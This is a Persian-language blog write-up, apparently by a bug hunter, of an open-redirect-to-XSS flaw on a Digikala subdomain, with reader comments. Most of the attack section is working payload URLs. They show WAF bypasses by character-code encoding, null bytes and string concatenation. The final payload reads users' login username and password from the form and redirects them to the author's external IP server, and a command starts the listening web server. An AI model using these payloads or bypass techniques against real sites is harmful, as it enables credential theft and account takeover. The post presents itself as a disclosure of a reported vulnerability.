نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

23 مارس 2020

توی این مطلب قراره از Open Redirect که در شرایط خاصی ممکنه تبدیل به XSS بشه استفاده بکنیم و حمله Account Takeover رو یکی از ساب دامین های دیجی کالا بررسی کنیم و پیلودش رو با هم بنویسیم.

اول از همه باید بدونیم که اگه به این ادرس ? javascript:alert(“test”) ریدایرکت بشیم کد جاوا اسکریپت ران میشه و آلرت اتفاق میفته. برای مثال من گوگل رو باز میکنم و F12 رو میزنم بعدش از تب Console , کد زیر که در جاوا اسکریپت که برای ریدایرکت استفاده میشه رو وارد میکنم تا روند اجرا شدن کد رو با استفاده از ریدایرکت رو ببینید.

window.location.href = "javascript:alert('test')"

و نتیجه به این شکل میشه:

ریدایرکت به صورت دستی

خوب حالا بعد از درک مکانیزم بالا میریم سراغ دیجی کالا ?.
داستان از اینجا شروع شد که برای چک کردن امتیاز دیجیکلابم وارد https://digiclub.digikala.com شدم و از سر بیکاری رفتم سورس صفحه رو چک کنم که خط سوم کد زیر نظرمو جلب کرد. با توجه به اون خط , تو فکرم این بود که حتما باید پارامتری مربوط به ریدایرکت باشه.

<script>
var supernova_mode = "production";
var supernova_tracker_url = "";
var redirectUrl = "";
</script> 

پس شروع کردم به crawl و گشتن قسمتای مختلف سایت تا شاید چیزی پیدا کنم و موفق هم بود. پارامتری که منتظرش بودم _back بود که اینطوری میشد :

https://digiclub.digikala.com/?_back=

اگر URL هم جلوی این پارامتر قرار میدادم چون لاگین نکرده بودم ریدایرکت انجام نمیشد و صفحه به این شکل بود(برای ریدایرکت نیازه تا لاگین انجام بشه):

برای تست XSS , چون قرار بود بعد لاگین کردن ریدایرکت انجام شه (با استفاده از همون قضیه javascript: ….. ) با پیلود ساده alert رو روی پارامتر _back شروع کردم و با توجه به اینکه WAF جلوی پیلود رو میگرفت هر بخش از پیلود رو توی یه پرانتز گذاشتم و WAF بایپس شد و دامین آلرت شد:

https://digiclub.digikala.com/?_back=javascript:(alert)(document.domain)

چون این مشکل توی صفحه لاگین بود میتونستم یه کد کیلاگر ساده رو برای یوزرنیم و پسورد ها پیاده کنم.(با توجه به اینکه یوزرنیم و پسورد دیجی کلاب همون یوزرنیم و پسورد خود اکانت دیجی کالاست) ولی WAF وجود داشت و توی اجرای پیلود ها اذیت میکرد و یه راه حل بهتری به سرم زد. بنظرم بهتر بود به جای کیلاگر با استفاده از کد زیر اینکارو میکردیم:

https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById("usernameForm").value)
https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById("passwordForm").value)

کد های بالا مقدار یوزرنیم و پسورد رو بعد از کلیک روی دکمه لاگین آلرت میکنه
یوزنیم فورم و پسورد فورم , آیدی های اینپوت داخل سورس هستند

اجرای پیلود بالا و نتیجش ?:

ولی خوب به WAF خوردیم. چرا ؟؟ WAF به double quote ( ” ) حساسه (همچنین single quote ) و ما هم ازش توی پیلود بالا استفاده کردیم.
راهی که برای بایپس مشکل بالا به سرم زد استفاده از متد String.fromCharCode بود. با استفاده از این متد میتونیم با مقدار ASCII حروف و اعداد و … , string تولید کنیم یا به بیان ساده میتونیم از string استفاده کنیم بدون اینکه به دابل کوتیشن و … نیاز داشته باشیم.
روش کارشم به این شکله که از این آدرس برای تبدیل به ASCII Code استفاده میکنیم
و خروجیو میزاریم تو متد String.fromCharCode.
مثلا برای این پیلود (alert)(document.getElementById(“passwordForm”).value) به شکل زیر میشه:

https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById(String.fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value)

اجرای پیلود بالا و نتیجش ?:

علی رغم استفاده نکردن از دابل کوتیشن باز به WAF خوردیم. حدس من به String.fromCharCode بود و درست هم بود. برای بایپس این موارد میشه از روش null byte استفاده کرد. به این صورت که %00 رو به این شکل درونش قرار میدیم
?String.%00fromCharCode

https://digiclub.digikala.com/?_back=javascript:(alert)(document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value)

و در نهایت این بخش هم بایپس شد و کاربر بعد از وارد کردن یوزر و پسورد و لاگین , پسوردش آلرت میشد.
حالا برای اینکه این یوزرنیم پسورد به رو بتونم به سرور خودم بفرستم مراحل زیرو واسه نوشتن پیلودش طی کردم :

  1. آدرس سرورم رو با توجه به اینکه کوتیشن فیلتر بود با روش بالا , توی متغیر J ریختم(دلیل اینکه هر کدوم رو توی متغیر میریزم و مستقیم اطلاعات رو به سمت سرور نمیدم در ادامه مشخص میشه)
var j=String.%00fromCharCode(104,116,116,112,58,47,47,49,57,56,46,49,52,51,46,49,55,56,46,49,50,54,47,105,110,100,101,120,46,104,116,109,108,63);

//Server Address= http://198.143.178.126/index.html?

2. در مرحله بعد باید مقدار input یوزرنیم و پسورد رو با استفاده ازdocument.getElementById میگرفتم و به آخر متغیر J اضافه میکردم.

j = j + document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value

ولی باز به فیلتر WAF برخوردم. بعد یکم بازی با WAF فهمیدم که ” + ” هم فیلتره و نمیشه ازش برای اضافه کردن دو تا string بهم استفاده کرد.
برای حل این مشکل از متد string.concat استفاده کردم. مثلا اگر میخوام به مغتیر J مقدار پسورد کاربر رو اضافه کنم و خروجی نهایی هم توی مغیر جدید X بریزم , باید مثل کد زیر عمل کنم:

var x=j.concat(document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value)

//passwordForm

3. و همینطور توی متغیر X که تا الان آدرس سرور و پسورد کاربر بوده هم میام یوزرنیم رو اضافه میکنم و خروجی نهایی رو میریزم توی متغیر C.

var c=x.concat(document.getElementById(String.%00fromCharCode(117,115,101,114,110,97,109,101,70,111,114,109)).value)

//usernameForm

پس متغیر C به این شکل شد : address server + username + password

4.حالا که ساختار رو آماده کردیم میتونیم با document.location به متغیر C ریدایرکت کنیم و اطلاعات رو دریافت کنیم و از اونجایی که این WAF احتمالا با این ساختار xxx.yyy مشکل داره پس دوباره مجبور به استفاده از null byte برای بایپس هستیم:

document.%00location= c

همه بخش های پیلود تکمیل شد و در نهایت میزاریمشون کنار هم و پیلود نهایی رو داریم :

https://digiclub.digikala.com/?_back=javascript:var%20j=String.%00fromCharCode(104,116,116,112,58,47,47,49,57,56,46,49,52,51,46,49,55,56,46,49,50,54,47,105,110,100,101,120,46,104,116,109,108,63);var%20x=j.concat(document.getElementById(String.%00fromCharCode(112,97,115,115,119,111,114,100,70,111,114,109)).value);var%20c=x.concat(document.getElementById(String.%00fromCharCode(117,115,101,114,110,97,109,101,70,111,114,109)).value);document.%00location=%20c

=========== =========== =========== =========== =========== =========== ===========
اولش میخواستم از این متد $.getScript استفاده کنم تا اینقدر پیلود طولانی نشه ولی WAF بایپس نشد تو این مورد 🙁
=========== =========== =========== =========== =========== =========== ===========

حالا وب سرورمو با این کامند ران میکنم:

python -m SimpleHTTPServer 80

و در نهایت وقتی لینک و پیلود رو به کاربر بدیم و در صورتی که لاگین انجام بشه یوزرنیم و پسورد برامون ارسال میشه

اینم ویدیو POC:

همینطور که توی ویدیو دیدین بعد از کلیک روی ورود , پیلود اجرا میشه و دلیلش هم اینه که مقداری که به پارامتر _back داده میشد یه تعدادیش مستقیم میرفت توی تگ های href و این شامل همون دکمه ورودم میشد و همین باعث میشد که پیلود اجرا بشه.

همچنین باید بگم که این آسیب‌پذیری رو حدود دو ماه پیش به دیجی کالا گزارش دادم و توجه ای نکردن (نه پچ کردن نه بانتی دادن??) تا این هفته که کلا این بخشو از دسترس خارج کردن و انتقالش دادن به دامین اصلی. اگه ایرادی هم وجود داشت خوشحال میشم کامنت کنید?.

1 پست نوشته شده
Scar3cr0vv
Scar3cr0vv@protonmail.ch
  • به اشتراک بگذارید:
  1. رضا گفت:

    خیلی عالی بود

  2. رامین گفت:

    ایول خیلی عالی بود!

  3. احسنت لذت بردم ♥

  4. ناشناس گفت:

    حدود ۱ ماه پیش ۳ تا باگ رو به دیجیکالا گزارش دادم نه بانتی دادن نه پچ کردن نه جوابی دادن :/